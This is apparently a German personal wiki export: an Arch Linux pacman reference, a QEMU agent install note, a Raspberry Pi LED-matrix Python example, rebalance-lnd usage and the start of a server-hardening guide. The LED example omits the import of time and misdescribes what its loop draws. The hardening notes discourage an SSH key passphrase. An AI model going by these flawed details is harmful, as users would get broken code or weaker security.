<table border="1" id="bkmrk-befehl-beschreibung-"><tbody><tr><td>**Befehl**</td><td>**Beschreibung**</td></tr><tr><td>pacman -Syy</td><td>Update</td></tr><tr><td>pacman -Syu</td><td>Upgrade</td></tr><tr><td>pacman -S *&lt;Paket&gt;*</td><td>Installiert ein Paket</td></tr><tr><td>pacman -R *&lt;Paket&gt;*</td><td>Deinstalliert ein Paket</td></tr><tr><td>pacman -U *&lt;Paket-Dateiname&gt;*</td><td>Installation eines Paketes aus einer lokalen Datei (z.B. für ein Downgrade oder zur Installation selbst gebauter Pakete)</td></tr></tbody></table>

Diese Befehle sind der Grundstock, um ein Arch-System einrichten und auf aktuellem Stand halten zu können.

## <span class="mw-headline" id="bkmrk-die-pacman-syntax-1">Die Pacman-Syntax</span>

Der Aufruf der Hauptoptionen wird mit einem Minuszeichen eingeleitet und beginnt immer mit einem Grossbuchstaben.

- **S** – Synchronisation der lokalen Paketdatenbank mit den Repositorien, welche in der Datei `/etc/pacman.conf` aktiviert sind (*Sync*)

- **Q** – Bezieht sich immer auf die lokale Paketdatenbank des Systems (*Query*)

- **R** – Dient zum Entfernen von installierten Paketen (*Remove*)

- **D** – Bearbeitung der lokalen Paketdatenbank (*Database*)

- **U** – Installiert Pakete aus einem lokalen Verzeichnis (*Upgrade*)

- **F** – Sucht das Paket, welches eine Datei beinhaltet (*File*)

Die vorangestellte Hauptoption kann mit weiteren Optionen in Kleinbuchstaben erweitert und spezifiziert werden, beispielsweise:

- **s** – Bewirkt eine Suche. Bei `-Ss` wird ein Paketname in der Paketdatenbank gesucht, Bei `-Rs` werden die jeweils abhängigen Pakete gesucht und mit entfernt
- **y** – Bewirkt eine Aktualisierung der Paketdatenbank (falls es tatsächlich Änderungen gibt)
- **yy** – Erzwingt die Aktualisierung der Paketdatenbank auch dann, wenn keine Updates vorhanden sind

### <span class="mw-headline" id="bkmrk-synchronisation-und--1">Synchronisation und Installation von Paketen</span>

<table border="1" id="bkmrk-befehl-beschreibung--1"><tbody><tr><td>**Befehl**</td><td>**Beschreibung**</td></tr><tr><td>pacman -Syu</td><td>Führt eine komplette System-Aktualisierung aus</td></tr><tr><td>pacman -S *&lt;Paket1 Paket2&gt;*</td><td>Eines oder mehrere Pakete installieren oder aktualisieren</td></tr><tr><td>pacman -Sy</td><td>Lokale Datenbank aktualisieren</td></tr><tr><td>pacman -Su</td><td>Alle installierten Pakete aktualisieren</td></tr><tr><td>pacman -Syy</td><td>Lokale Datenbank komplett neu aufbauen und aktualisieren</td></tr><tr><td>pacman -Syuu</td><td>Alle installierten Pakete downgraden (von Testing nach Core/Extra)</td></tr><tr><td>pacman -S testing/*&lt;Paket&gt;*</td><td>Paket aus einem spezifischen Repo (hier: testing) installieren</td></tr><tr><td>pacman -Sw *&lt;Paket&gt;*</td><td>Paket herunterladen, ohne es zu installieren</td></tr></tbody></table>

### <span class="mw-headline" id="bkmrk-informationen-zu-ins-1">Informationen zu installierbaren Paketen</span>

<table border="1" id="bkmrk-befehl-beschreibung--2"><tbody><tr><td>**Befehl**</td><td>**Beschreibung**</td></tr><tr><td>pacman -Ss *&lt;Paket&gt;*</td><td>Sucht nach installierbaren Paketen. Es reicht ein Teil des Paketnamens oder der Paketbeschreibung</td></tr><tr><td>pacman -Sg</td><td>Sucht nach installierbaren Paketgruppen</td></tr><tr><td>pacman -Sg *&lt;Paketgruppe&gt;*</td><td>Zeigt den Inhalt einer Paketgruppe</td></tr><tr><td>pacman -Si *&lt;Paket&gt;*</td><td>Informationen zu (noch) nicht installierten Paketen anzeigen</td></tr></tbody></table>

### <span class="mw-headline" id="bkmrk-verwaltung-lokaler-p-1">Verwaltung lokaler Pakete</span>

<table border="1" id="bkmrk-befehl-beschreibung--3"><tbody><tr><td>**Befehl**</td><td>**Beschreibung**</td></tr><tr><td>pacman -U *&lt;Paket-Dateiname&gt;*</td><td>Ein lokales Paket installieren (nicht aus einem Repo)</td></tr><tr><td>pacman -D --asexplicit *&lt;Paket&gt;*</td><td>Status eines installierten Paketes auf „Ausdrücklich installiert“ setzen</td></tr><tr><td>pacman -D --asdeps *&lt;Paket&gt;*</td><td>Status eines installierten Paketes auf „Installiert als Abhängigkeit“ setzen</td></tr><tr><td>pacman -Scc</td><td>Leert das lokale Paketarchiv von Pacman vollständig (*/var/cache/pacman/pkg*)</td></tr><tr><td>pacman -Sc</td><td>Löscht veraltete Pakete aus */var/cache/pacman/pkg* sowie ungenutzte Repositorien aus */var/lib/pacman/sync*. <span style="color: red;">Vorsicht</span>, behalten werden nur aktuell installierte Versionen – Vorversionen für ein Paket-Downgrade sind dann nicht mehr vorhanden.</td></tr></tbody></table>

### <span class="mw-headline" id="bkmrk-pakete-entfernen-1">Pakete entfernen</span>

<table border="1" id="bkmrk-befehl-beschreibung--4"><tbody><tr><td>**Befehl**</td><td>**Beschreibung**</td></tr><tr><td>pacman -R *&lt;Paketname&gt;*</td><td>Deinstallation eines oder mehrerer Pakete (aus AUR oder Repos)</td></tr><tr><td>pacman -Rs *&lt;Paketname&gt;*</td><td>Wie oben, zusätzlich werden alle abhängige Pakete gesucht und mit entfernt, falls diese nicht von einer anderen Anwendung gebraucht werden</td></tr><tr><td>pacman -Rsc *&lt;Paketname&gt;*</td><td>Wie oben. Abhängigkeiten werden kaskadierend entfernt</td></tr><tr><td>pacman -Rscn *&lt;Paketname&gt;*</td><td>Wie oben. Die Konfigurationsdateien der Anwendung werden mit entfernt</td></tr><tr><td>pacman -Rdd *&lt;Paket&gt;*</td><td>Deinstallation eines Paketes ohne Prüfung bestehender Paketabhängigkeiten. <span style="color: red;">Vorsicht</span>, hierdurch kann die Konsistenz und Funktionstüchtigkeit der Systeminstallation beeinträchtigt werden!</td></tr><tr><td>pacman -Rss *&lt;Paket&gt;*</td><td>Paket mit allen benötigten Abhängigkeiten und deren Abhängigkeiten entfernen</td></tr></tbody></table>

### <span class="mw-headline" id="bkmrk-abfragen-der-lokalen-1">Abfragen der lokalen Paketdatenbank</span>

<table border="1" id="bkmrk-befehl-beschreibung--5"><tbody><tr><td>**Befehl**</td><td>**Beschreibung**</td></tr><tr><td>pacman -Q</td><td>Zeigt alle installierten Pakete inklusive Versionsnummer auf dem System an</td></tr><tr><td>pacman -Qi *&lt;Paket&gt;*</td><td>Informationen zu bereits installiertem Paket anzeigen</td></tr><tr><td>pacman -Qs *&lt;Suchmuster&gt;*</td><td>Installierte Pakete nach Name oder einem Begriff in der Beschreibung durchsuchen.</td></tr><tr><td>pacman -Qdt</td><td>Verwaiste Pakete anzeigen, die als Abhängigkeiten installiert wurden, aber nicht mehr von anderen Paketen benötigt werden</td></tr><tr><td>pacman -Qet</td><td>Pakete anzeigen, die ausdrücklich installiert wurden, aber nicht von anderen als Abhängigkeit benötigt werden</td></tr><tr><td>pacman -Ql *&lt;Paket&gt;*</td><td>Zeigt alle installierten Dateien des Pakets im System</td></tr><tr><td>pacman -Qm</td><td>Pakete anzeigen, die sich in keinem aktivierten Repo laut /etc/pacman.conf befinden</td></tr><tr><td>pacman -Qo *&lt;Pfad zur Datei&gt;*</td><td>Zeigt das Paket an, welches die gesuchte Datei enthält</td></tr><tr><td>pacman -Sy &amp;&amp; pacman -Qu</td><td>Aktualisiert die lokale Paketdatenbank und zeigt verfügbare Updates an</td></tr><tr><td>pacman -Qk | grep warning</td><td>Überprüft alle Pakete auf fehlende Dateien und schränkt die Ausgabe auf Problempakete ein</td></tr></tbody></table>

### <span class="mw-headline" id="bkmrk-paketdateien-suchen-1">Paketdateien suchen</span>

<table border="1" id="bkmrk-befehl-beschreibung--6"><tbody><tr><td>**Befehl**</td><td>**Beschreibung**</td></tr><tr><td>pacman -Fy</td><td>Lokale Datenbank aktualisieren (wie *-Sy*)</td></tr><tr><td>pacman -Fyy</td><td>Lokale Datenbank neu aufbauen und aktualisieren (wie *-Syy*)</td></tr><tr><td>pacman -F *&lt;Datei&gt;*</td><td>Paket suchen das die Datei enthält</td></tr><tr><td>pacman -Fx *&lt;Regex&gt;*</td><td>Wie -F, aber Suche mit regulären Ausdrücken (hilfreich, falls der vollständige Dateiname unbekannt ist)</td></tr><tr><td>pacman -Fl *&lt;Paket&gt;*</td><td>Alle Dateien des Paketes anzeigen</td></tr></tbody></table>

Es können auch mehrere Befehlsaufrufe kombiniert werden; hier z.B. zur vorhergehenden Prüfung und anschließenden Deinstallation aller verwaisten Pakete:

```
pacman -Qdtq
pacman -Rsn $(pacman -Qdtq)
```

### <span class="mw-headline" id="bkmrk-paccache-1">Paccache</span>

*Paccache* ist ein Werkzeug zur Bereinigung des Pacman-Cache `/var/cache/pacman/pkg`. Archivierte Pakete können hiermit differenzierter als mit `pacman -Scc` bereinigt werden.

Um den Befehl nutzen zu können muss zuvor das Paket `pacman-contrib` installiert werden.

Zur Bereinigung des Paket-Cache kann man beispielsweise so vorgehen:

```
du -sh /var/cache/pacman/pkg   # Belegung des Cache-Speicherplatzes prüfen
paccache -h                    # Befehlsübersicht
paccache -dk2                  # Testdurchlauf; Wieviel Platz kann eingespart werden?
paccache -vrk2                 # Entfernt Pakete aus dem Cache, behält die jüngsten 2 Versionen
paccache -ruk0                 # Alle Pakete aus dem Cache entfernen, die nicht (mehr) installiert sind
```

Zur automatischen Bereinugung gibt es einen [Systemd](https://wiki.archlinux.de/title/Systemd "Systemd") Timer. Bei aktiviertem Timer wird der Cache wöchentlich mit `paccache -r` bereinigt.

```
systemctl enable paccache.timer
```

### <span class="mw-headline" id="bkmrk-checkupdates-1">Checkupdates</span>

Mit *Checkupdates* lässt sich prüfen, ob Aktualisierungen für installierte Pakete verfügbar sind, ohne eine komplette System-Aktualisierung (`pacman -Syu`) durchzuführen.

Um den Befehl nutzen zu können muss zuvor das Paket `pacman-contrib` installiert werden.

```
checkupdates
```

Da die Prüfung auf Updates mit *Checkupdates* ohne Root-Rechte durchgeführt werden kann, eignet sich der Befehl sehr gut zur Verwendung in [Conky](https://wiki.archlinux.de/title/Conky "Conky") und Scripts.

## <span class="mw-headline" id="bkmrk-pacman-datenbank-1">Pacman-Datenbank</span>

Pacman speichert alle Paketinformationen in Form einer Vielzahl einzelner Dateien als logisch zusammengehörenden Datenbestand im Verzeichnis `/var/lib/pacman`.

**Installierbare Pakete:**  
Die Paketinformationen der in der Pacman-Konfigurationsdatei `/etc/pacman.conf` aktivierten Repositorien ([s.u.](https://wiki.archlinux.de/title/Pacman#Konfiguration)) werden im Verzeichnis `/var/lib/pacman/sync` gespeichert. Für diese Repos werden von Pacman Dateien mit folgenden Dateiendungen angelegt:

- `<Repo>.sig` – PGP-Sicherheitssignatur; diese ist nur für inoffizielle Repos erforderlich und vorhanden (*Textdatei*)
- `<Repo>.files` – Enthält die Textdateien `desc` und `files` mit den entsprechenden Informationen für jedes einzelne im Repo verfügbare Paket (*Gzip-Datei*)
- `<Repo>.db` – Enthält die Datei `desc` mit entsprechenden Informationen für jedes einzelne im Repo verfügbare Paket (*Gzip-Datei*)

Pacman-Befehle, die mit `-S` oder `-F` eingeleitet werden, beziehen sich auf diesen Bereich der Datenbank; er kann mit `-Sy` aktualisiert und mit `-Syy` neu generiert werden.

**Installierte Pakete:**  
Die Paketinformationen der im System vorhandenen Pakete befinden sich im Unterverzeichnis `/var/lib/pacman/local`. Für alle installierten Pakete werden dort gesonderte Verzeichnisse mit Namen und Version des Paketes angelegt; folgende Dateien sind darin enthalten:

- `desc` – Paketinformationen, welche mit dem Befehl `pacman -Qi <Paketname>` abgerufen werden können (*Textdatei*)
- `files` – Pfadangaben aller mit dem Paket installierten Dateien, die mit dem Befehl `pacman -Fl <Paketname>` abgerufen werden können (*Textdatei*)
- `mtree` – Zeit- und Größenangaben sowie Prüfsummen (Hashwerte) aller mit dem Paket installierten Dateien (*Gzip-Datei*)

Pacman-Befehle, die mit `-Q` oder `-D` eingeleitet werden, beziehen sich auf diesen Bereich der Datenbank. Bei Installationen und Deinstallationen erfolgt eine fortlaufende Aktualisierung. Dieser systembezogene Teil der Datenbank kann nicht neu generiert werden, da er Ausgangsreferenz der lokalen Paketverwaltung ist.

## <span class="mw-headline" id="bkmrk-konfiguration-1">Konfiguration</span>

Die Einstellungen für Pacman sind in der Datei `/etc/pacman.conf` gespeichert und können dort angepasst werden.

### <span class="mw-headline" id="bkmrk-allgemeine-einstellu-1">Allgemeine Einstellungen</span>

```
#RootDir     = /
#DBPath      = /var/lib/pacman/
#CacheDir    = /var/cache/pacman/pkg/
#LogFile     = /var/log/pacman.log
#GPGDir      = /etc/pacman.d/gnupg/
HoldPkg     = pacman glibc
#XferCommand = /usr/bin/curl -C - -f %u > %o
#XferCommand = /usr/bin/wget --passive-ftp -c -O %o %u
#CleanMethod = KeepInstalled
Architecture = auto
```

```
# Pacman won't upgrade packages listed in IgnorePkg and members of IgnoreGroup
#IgnorePkg   =
#IgnoreGroup =
```

```
#NoUpgrade   =
#NoExtract   =
```

- Pakete, die durch `HoldPkg` markiert sind, müssen vor dem Entfernen nochmals bestätigt werden.
- Pakete, die mit `IgnorePkg` markiert sind, werden vom Update völlig ausgenommen. Dies betrifft auch alle damit verbundenen Abhängigkeiten.
- Dateien, die durch `NoUpgrade` markiert sind, werden beim Update nicht überschrieben. Pacman legt stattdessen eine neue Datei im Format `datei.pacnew` an.
- Dateien, die durch `NoExtract` markiert sind, werden bei der Installation oder einem Update nicht installiert.

Seit der Version 4.1 unterstützt Pacman auch farbige Ausgaben. Dazu muss die Option `#Color` auskommentiert werden.

### <span class="mw-headline" id="bkmrk-repositorien-1">Repositorien</span>

Offizielle Arch Linux-Pakete sind einem von sechs unterschiedlichen Repositorien zugeordnet:

- `[core]` enthält grundlegende Programme, die zum Betrieb von Arch Linux unbedingt erforderlich sind.
- `[extra]` enthält eine Vielzahl zusätzlicher, optionaler Anwendungen in der jeweils letzten stabilen Version. Hier liegen etwa auch die Pakete von [KDE](https://wiki.archlinux.de/title/KDE "KDE") und [GNOME](https://wiki.archlinux.de/title/GNOME "GNOME").
- `[testing]` enthält neue Versionen, die noch nicht hinreichend getestet wurden – mit anderen Worten: Dinge, die etwas kaputt machen könnten.
- `[multilib]` enthält 32-Bit-Anwendungen, die auf x86\_64-Systemen installiert werden sollen.
- `[multilib-testing]` enthält noch nicht hinreichend getestete 32-Bit-Anwendungen, die auf x86\_64-Systemen installiert werden sollen.

#### <span class="mw-headline" id="bkmrk-repos-festlegen-1">Repos festlegen</span>

Die Konfiguration der `/etc/pacman.conf` ist weitgehend selbsterklärend und erfolgt durch Ein- oder Auskommentierung bestehender Einträge sowie durch Hinzufügen zusätzlicher Einträge.

#### <span class="mw-headline" id="bkmrk-inoffizielle-repos-v-1">Inoffizielle Repos verwenden</span>

Weitere Repos kann man beliebig anhängen, indem man Repo-Name und Server spezifiziert. Eine Liste inoffizieller Repos findet man im [engl. Wiki](http://wiki.archlinux.org/index.php/Unofficial_user_repositories).

### <span class="mw-headline" id="bkmrk-spiegelserver-1">Spiegelserver</span>

Die Spiegelserver, von welchen Pacman die Pakete zur Installation und für Updates herunterladen soll, werden in der Datei `/etc/pacman.d/mirrorlist` gespeichert; ein Auschnitt als Beispiel:

```
## Germany
Server = http://mirror.23media.de/archlinux/$repo/os/$arch
Server = http://mirror.gnomus.de/$repo/os/$arch
#Server = https://mirror.bethselamin.de/$repo/os/$arch
#Server = http://ftp.fau.de/archlinux/$repo/os/$arch
```

Die Wahl der Architektur und der Zugriff auf die Repos ist mit den Variablen `$repo` und `$arch` gekennzeichnet.

Pacman greift vorrangig auf den ersten einkommentierten Server-Eintrag zu. Sollte der Server nicht erreichbar sein oder ein Paket dort nicht vorgefunden werden, wird auf den nächsten Server zugegriffen. Für eine optimale Zugänglichkeit vom eigenen Standort aus ist die Wahl heimischer Spiegelserver ratsam.

Bei Veränderungen der weltweiten Spiegelserver werden von Pacman bei System-Updates automatisch neue Mirrorlisten als `/etc/pacman.d/mirrorlist.pacnew` hinterlegt. Bei Bedarf kann man die darin enthaltenen deutschen Server auslesen:

```
awk '/Germany/{i=1;next}/^##/{i=0}i{print}' /etc/pacman.d/mirrorlist.pacnew
```

**Tipp:** Es reicht aus, nur wenige Spiegelserver in der Mirrorliste zu aktivieren und ggf. weitere, aber auskommentierte Server darunterstehend zu belassen. So kann der favorisierte Server – falls er sich nicht bewähren sollte – leicht durch einen anderen aus der auskommentierten „Vorratsliste“ ersetzt werden.

#### <span class="mw-headline" id="bkmrk-optimale-spiegelserv-1">Optimale Spiegelserver</span>

Die Spiegelserver unterscheiden sich in ihrer Aktualität und Geschwindigkeit. Relevante Messwerte sind:

- **Completion:** Die Anzahl erfolgreicher Verbindungen bei Tests des Spiegelservers in Prozent; bei weniger als 100% könnte der Server unzuverlässig sein
- **Delay:** Durchschnittliche Verzögerungdauer der letzten Synchronisation, diese sollte unter einer Stunde liegen
- **Duration:** Durchschnittliche Verbindungs- und Abbrufzeit in Sekunden(bruchteilen); ein hoher Wert kann auf eine Überlastung des Servers hindeuten
- **Mirror Score:** Eine grobe Berechnung des Rankings, das sich aus den vorgenannten Werten ergibt

Eine vollständige Übersicht an Messergebnissen findet man auf der Seite [Mirror-Status](https://www.archlinux.org/mirrors/status).  
Da die dort gelisteten Messergebnisse nicht dem eigenen Standort entsprechen, ist es sinnvoll, selbst Messungen durchzuführen. Das Paket <span class="plainlinks archwiki-template-pkg">[pacman-contrib](https://www.archlinux.de/packages?search=pacman-contrib)</span> stellt hierfür das Tool *Rankmirrors* zur Verfügung. Mit folgendem Befehl können die Antwortzeiten der in der Mirrorliste einkommentierten Server geprüft werden:

```
rankmirrors -n 0 -t /etc/pacman.d/mirrorlist
```

Falls man differenzierte Vergleichsergebnisse wie z.B. einen „Mirror Score“ wünscht, kann man das Python-Script [Reflector](https://wiki.archlinux.de/title/Reflector "Reflector") verwenden. Eine Liste von 10 deutschen Spiegelservern mit der schnellsten Downloadrate erhält man z.B. mit diesem Befehl:

```
reflector -c Germany -p http -p https --sort rate -n 10
```

Fügt man am Ende des Befehles die Option `--info` hinzu, werden zusätzlich die auf der Seite „Mirror-Status“ verfügbaren Details angezeigt.

#### <span class="mw-headline" id="bkmrk-mirrorliste-aktualis-1">Mirrorliste aktualisieren</span>

Solange die favorisierten Spiegelserver gut und verlässlich funktionieren, sind Aktualisierungen der Mirrorliste nicht erforderlich. Falls man die Datei `/etc/pacman.d/mirrorlist` jedoch auf Basis möglichst optimaler Messwerte aktualisieren möchte, bieten sich die vorgenannten Verfahren an.

- **Rankmirrors:** Man kann die Antwortzeiten der deutschen Spiegelserver aus der Datei `mirrorlist.pacnew` messen, aus den Ergebnissen z.B. die 15 schnellsten Server extrahieren und von diesen wiederum die 4 besten Spiegelserver aktivieren – diese gründliche Messung dauert einen Moment:

```
awk '/Germany/{i=1;next}/^##/{i=0}i{print}' /etc/pacman.d/mirrorlist.pacnew | sed 's/^#//' > /tmp/mirror && rankmirrors -n 15 /tmp/mirror | sed '2,5!s/^S/#S/'
```

- **Reflector:** Man kann die deutschen Spiegelserver online abrufen, z.B. eine Kurzmessung der Downloadrate durchführen, 15 Server mit dem schnellsten Datendurchsatz extrahieren und von diesen die 4 besten Spiegelserver aktivieren:

```
reflector -c Germany -p http -p https --sort rate -n 15 | sed '11,14!s/^S/#S/'
```

Falls man eine Sortierung auf Basis des bei [Mirror-Status](https://www.archlinux.org/mirrors/status) abgerufenen „Mirror Score“ vornehmen möchte, kann man die Anweisung `--sort rate` durch `--sort score` ersetzen.

**Hinweis:** Beide oben angeführten Befehle geben die Resultate im Terminal aus. Um die vorhandene Mirrorliste zu ersetzten, kann als Ausgabeumleitung **`> /etc/pacman.d/mirrorlist`** angefügt werden.

#### <span class="mw-headline" id="bkmrk-mirrorliste-erweiter-1">Mirrorliste erweitern</span>

Eine weitere Möglichkeit besteht darin, einen favorisierten Spiegelserver in der Pacman-Konfigurationsdatei `/etc/pacman.conf` vorzuschalten, zum Beispiel:

```
[core]
<strong>Server = http://ftp-stud.hs-esslingen.de/pub/Mirrors/archlinux/$repo/os/$arch</strong>
Include = /etc/pacman.d/mirrorlist
```

**Hinweis:** Wird ein Spiegelserver in `/etc/pacman.conf` eingetragen, sollte unbedingt der gleiche Eintrag bei allen offiziellen Repos erfolgen (`[core]`, `[extra]`, `[multilib]`). Ansonsten besteht die Gefahr, dass aufgrund unterschiedlicher Aktualität der Server versucht wird, nicht kompatible Paketversionen zusammenzuführen.

## <span class="mw-headline" id="bkmrk-keine-partiellen-upg-1">Keine partiellen Upgrades</span>

Arch Linux wird als *Rolling-Release* fortlaufend aktualisiert. Sobald neue Versionen von Programmbibliotheken [![Wikipedia.png](https://wiki.archlinux.de/images/Wikipedia.png)](https://wiki.archlinux.de/title/Datei:Wikipedia.png) [\[1\]](https://de.wikipedia.org/wiki/Programmbibliothek#Unixartige_Systeme) in den Repositorien erscheinen, werden vom Arch-Entwicklungsteam alle Pakete, die sich auf diese Bibliothek beziehen, neu (auf)gebaut. Auf diese Weise wird sicher gestellt, dass alle Pakete aus den offiziellen Repos mit der veränderten Schnittstelle der neuen Version funktionieren.

Sollte man fälschlicherweise nur ein einzelnes Paket aktualisieren, werden mit diesem Paket bei Bedarf neue Versionen von Programmbibliotheken im System integriert. Andere bereits installierte und von einem Upgrade ausgenommene Pakete blieben jedoch weiterhin von älteren Versionen der Bibliotheken abhängig und kämen mit den veränderten Schnittstellen neuerer Versionen nicht zurecht. Aus diesem Grunde werden partielle Upgrades nicht unterstützt.

Bevor ein neues Paket installiert wird, sollte immer zunächst mit `pacman -Syu` eine Aktualisierung des kompletten Systems durchgeführt werden. Vor dem gleichen Hintergund sollte man auch bei Ausnahmen unter `IgnorePkg` und `IgnoreGroup` sehr umsichtig verfahren (s. [Konfiguration](https://wiki.archlinux.de/title/Pacman#Konfiguration)).

Pakete, die nicht aus den offiziellen Repositorien installiert worden sind (z.B. aus dem [AUR](https://wiki.archlinux.de/title/AUR "AUR")) und sich auf Bibliotheken aus den Repos beziehen, müssen im Falle einer Änderung von `so`-Namen (z.B. `libfoo.so.1` → `libfoo.so.1.2`) auf Anwenderseite neu gebaut werden.

**Hinweis:** Probleme, die auf Versionsunterschiede von Programmbibliotheken zurückzuführen sind, sollte man nicht durch „*Symlinking*“ verschlimmbessern. In der Regel lassen sich solche Probleme mit einem '`pacman -Syu`' beheben.

## <span id="bkmrk--1"></span><span class="mw-headline" id="bkmrk-graphische-oberfl%C3%A4ch-1">Graphische Oberflächen</span>

Pacman wurde als reines CLI-Programm konzipiert, und greift grundsätzlich nur auf installierbare Pakete aus den offiziellen Repositorien zurück, nicht aber auf Skripte (PKGBUILDs) aus dem [AUR](https://wiki.archlinux.de/title/AUR "AUR"). Rund herum enstanden jedoch im Laufe der Jahre zahlreiche Wrapper, GUIs, oder Programme, die Dateien aus den offiziellen Repositorien und dem AUR gleichzeitig aktualisieren können. Diese sind im Artikel [Graphische Paketmanager](https://wiki.archlinux.de/title/Graphische_Paketmanager "Graphische Paketmanager") ausführlich beschrieben. Die dort gesetzten Warn-Hinweise sollten unbedingt beachtet werden.

## <span class="mw-headline" id="bkmrk-hilfe-1">Hilfe</span>

### <span class="mw-headline" id="bkmrk-keine-verbindung-zu--1">Keine Verbindung zu einem Mirror</span>

Aufgrund einer langsamen Internetverbindung oder nicht optimaler Pacman-Konfiguration kann es vorkommen, dass der Verbindungsaufbau zu einem Spiegelserver zu lange dauert und es so zu einem [![Wikipedia.png](https://wiki.archlinux.de/images/Wikipedia.png)](https://wiki.archlinux.de/title/Datei:Wikipedia.png) [Timeout](https://de.wikipedia.org/wiki/Timeout) kommt. Um dieses Problem zu beheben, kann man – wie im Abschnitt [Optimale Spiegelserver](https://wiki.archlinux.de/title/Pacman#Optimale_Spiegelserver) beschrieben – den schnellsten Server suchen und verwenden. Sollte auch das nicht zu gewünschtem Erfolg führen, kann versucht werden, einen alternativen Downloader einzusetzen. Dazu muss man die Datei `/etc/pacman.conf` bearbeiten und einen der beiden Einträge durch Entfernen der Raute `#` auskommentieren:

```
 #XferCommand = /usr/bin/{{Paket|curl}} -C - -f %u > %o
 #XferCommand = /usr/bin/{{Paket|wget}} --passive-ftp -c -O %o %u
```

### <span id="bkmrk--2"></span><span class="mw-headline" id="bkmrk-bandbreite-beschr%C3%A4nk-1">Bandbreite beschränken</span>

Um die Download-Bandbreite zu beschränken, kann in in der Konfigurationsdatei `/etc/pacman.conf` innerhalb der Zeile …

```
XferCommand = /usr/bin/wget --passive-ftp -c -O %o %u
```

… dem *wget*-Befehl die entsprechende Option hinzugefügt werden:

```
XferCommand = /usr/bin/wget --passive-ftp <strong>--limit-rate=40k</strong> -c -O %o %u
```

### <span class="mw-headline" id="bkmrk-pacman-aus-versehen--1">Pacman aus Versehen deinstalliert</span>

Wie kann Pacman wiederhergestellt werden, wenn es aus Versehen deinstalliert wurde?

- Manuelle Variante

```
cd /
bsdtar -x -f /var/cache/pacman/pkg/pacman-*.pkg.tar.zst
```

Das Sternchen(\*) entspricht dem Paket mit der höchsten Versionsnummer, welches hoffentlich noch im o.g. Verzeichnis vorhanden ist. Danach Pacman mittels des „neuen“ Pacman wieder installieren, damit der Datenbankeintrag für Pacman selbst wieder angelegt wird.

```
pacman -S pacman
```

- Per Installationsmedium

Vom Installationsmedium booten und die deutsche Tastaturbelegung `loadkeys de` wählen. Anschließend Partitionen einhängen: Die Root-Partition nach `/mnt` einhängen (Verzeichnis `/etc` sollte darin enthalten sein) Für weitere Partitionen unterhalb `/mnt` Ordner anlegen und entsprechend einhängen (bspw. `/mnt/usr`). Eine Neuinstallation von Pacman kann nun mit diesem Befehl erfolgen:

```
pacstrap /mnt pacman
```

# Qemu Agent installieren

Damit Viruelle Maschinen den Qemu Agent unterstützen, muss dieser installiert werden:

`sudo apt install qemu-guest-agent`

# Raspberry Matrix

Um eine LED-Matrix mit einem Raspberry Pi anzusteuern, benötigen Sie zunächst eine passende LED-Matrix und ein Treiber-Board, das mit dem Raspberry Pi kompatibel ist. Ein beliebtes Treiber-Board für LED-Matrizen ist das "Max7219" oder das "WS2812B".

Um die LED-Matrix anzusteuern, können Sie eine Programmiersprache wie Python verwenden, um die GPIO-Pins des Raspberry Pi zu steuern. Hier ist ein einfaches Beispiel, um eine LED-Matrix mit dem Max7219-Treiber auf einem Raspberry Pi anzusteuern:

1\. Installieren Sie zunächst die benötigten Bibliotheken für den Max7219-Treiber. Führen Sie dazu den folgenden Befehl in der Terminal-App des Raspberry Pi aus:

```
pip install luma.led_matrix
```

2\. Schließen Sie das Treiber-Board an den Raspberry Pi an und verbinden Sie die LED-Matrix mit dem Treiber-Board.

3\. Schreiben Sie dann ein Python-Skript, um die LED-Matrix zu steuern. Hier ist ein einfaches Beispiel, um eine rotierende Animation auf der LED-Matrix anzuzeigen:

```
from luma.led_matrix.device import max7219
from luma.core.interface.serial import spi, noop

serial = spi(port=0, device=0, gpio=noop())
device = max7219(serial, cascaded=1)

while True:
    for i in range(8):
        device.pixel(i, 0, 1)
        device.show()
        time.sleep(0.1)
        device.clear()
```

4\. Führen Sie das Python-Skript auf dem Raspberry Pi aus und die LED-Matrix sollte die rotierende Animation anzeigen.

Dies ist nur ein einfaches Beispiel zur Ansteuerung einer LED-Matrix mit dem Max7219-Treiber. Je nach LED-Matrix und Treiber-Board, das Sie verwenden, müssen Sie möglicherweise verschiedene Bibliotheken und Code-Beispiele verwenden. Es gibt auch viele Online-Tutorials und Beispiele, die Ihnen bei der Ansteuerung einer LED-Matrix mit einem Raspberry Pi helfen können.

# Rebalance-LND

Rebalance-LND ist ein Python script zum Rebalancen

[https://github.com/C-Otto/rebalance-lnd](https://github.com/C-Otto/rebalance-lnd)

Channal übersicht

```
/mnt/data/rebalance-lnd/rebalance.py -c 
```

Ich habe einen alias erstellt. So muss nur noch eingegeben werden:

```
rebalance -c
```

Rebalance

```
rebalance -t akfejfwejfj -a

-t to account
-f from account 
-a amount
```

Weitere Parameter:

- ohne -a sucht sich das scipt selbst den betrag
- --fee-factor 2 würde den Kostennutzenfactor um 2 erhöhen

# Server Sicherheit erhöhen

<p class="callout info">Um die Sicherheit auf einem Server zu erhöhen sollten ein paar Vorkehrungen getroffen werden.</p>

**Youtube Viedos**

[Wichtige erste Schritte auf einem Server](https://www.youtube.com/watch?v=Irau2-w8ABE&list=PLNmsVeXQZj7orIal3z8bq8HlHxnN-CtXr&index=3)

<span style="color: rgb(34, 34, 34); font-size: 2.8275em; font-weight: 400;">SSH Zugang anpassen</span>

Den standard-mäßigen Zugang als root-User auf Linux deaktivieren. Durch die Deaktivierung wird schon mal die erste Hürde eines Hackers aufgebaut, dass er nicht weiß, wie der Admin-User heißt.

**Neuen User anlegen, der die Admin Rolle übernehmen soll** Wir arbeiten als root user

`<strong>adduser BENUTZERNAME</strong>`

Passwort vergeben und Daten eintragen wenn gewünscht

**Neuen User der Gruppe sudo hinzufügen**

`usermod -aG sudo BENUTZERNAME`

**Home-Verzeichnis Rechte setzen (Client und Server)**

`<span class="enlighter-text">:~$ sudo chmod </span><span class="enlighter-n1">755</span><span class="enlighter-text"> /home/</span><span class="enlighter-g1"><</span><span class="enlighter-text">Benutzer</span><span class="enlighter-g1">></span>`

**Schlüsselpaar auf dem Client erstellen**  
Ich habe mich für einen 2048 Bit langen RSA-Schlüssel entschieden. Ihr könnt die folgenden Eingaben mit Enter bestätigen. Die Eingabe einer Passphrase für den Key ist empfohlen, doch für unser Vorhaben nicht praktikabel.

`<span class="enlighter-text">:~$ </span><span class="enlighter-m0">ssh-keygen</span>`

**Public Key vom Client auf den Server transferieren**  
Bei diesem Schritt ist die Eingabe des Passworts ein letztes Mal notwendig, um den Key auf den Server zu transferieren.

